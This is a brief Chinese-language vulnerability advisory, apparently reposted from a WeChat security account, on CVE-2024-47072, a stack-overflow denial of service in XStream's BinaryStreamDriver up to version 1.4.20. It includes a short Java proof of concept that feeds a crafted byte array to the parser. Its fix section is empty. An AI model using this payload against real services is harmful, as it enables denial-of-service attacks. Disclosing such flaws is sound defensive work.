XStream 是一个流行的 Java 序列化库,广泛用于将对象转换为 XML 或 JSON 格式,以及从这些格式反序列化对象。XStream 提供了一个优化的二进制序列化格式,通过 BinaryStreamDriver 实现高效的数据流处理。这个格式采用 ID 来去重字符串值,优化数据的存储与传输。
01 漏洞描述
漏洞类型:XStream二进制流驱动导致的堆栈溢出拒绝服务漏洞(CVE-2024-47072)
final byte[] byteArray = new byte[36000];
for (int i = 0; i < byteArray.length / 4; i++) {
byteArray[i * 4] = 10;
byteArray[i * 4 + 1] = -127;
byteArray[i * 4 + 2] = 0;
byteArray[i * 4 + 3] = 0;
}
XStream xstream = new XStream(new BinaryStreamDriver());
xstream.fromXML(new ByteArrayInputStream(byteArray));
02 漏洞影响版本
-
所有使用 XStream 版本 1.4.20 及以下,并且配置了
BinaryStreamDriver
的版本都受到此漏洞影响。 -
该漏洞的攻击者可以利用精心构造的二进制数据流,导致目标应用程序发生堆栈溢出,触发拒绝服务(DoS)攻击
03 漏洞修复方案
04 参考链接
https://x-stream.github.io/CVE-2024-47072.html
END
原文始发于微信公众号(锋刃科技):XStream 二进制流驱动导致的堆栈溢出拒绝服务漏洞(CVE-2024-47072)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论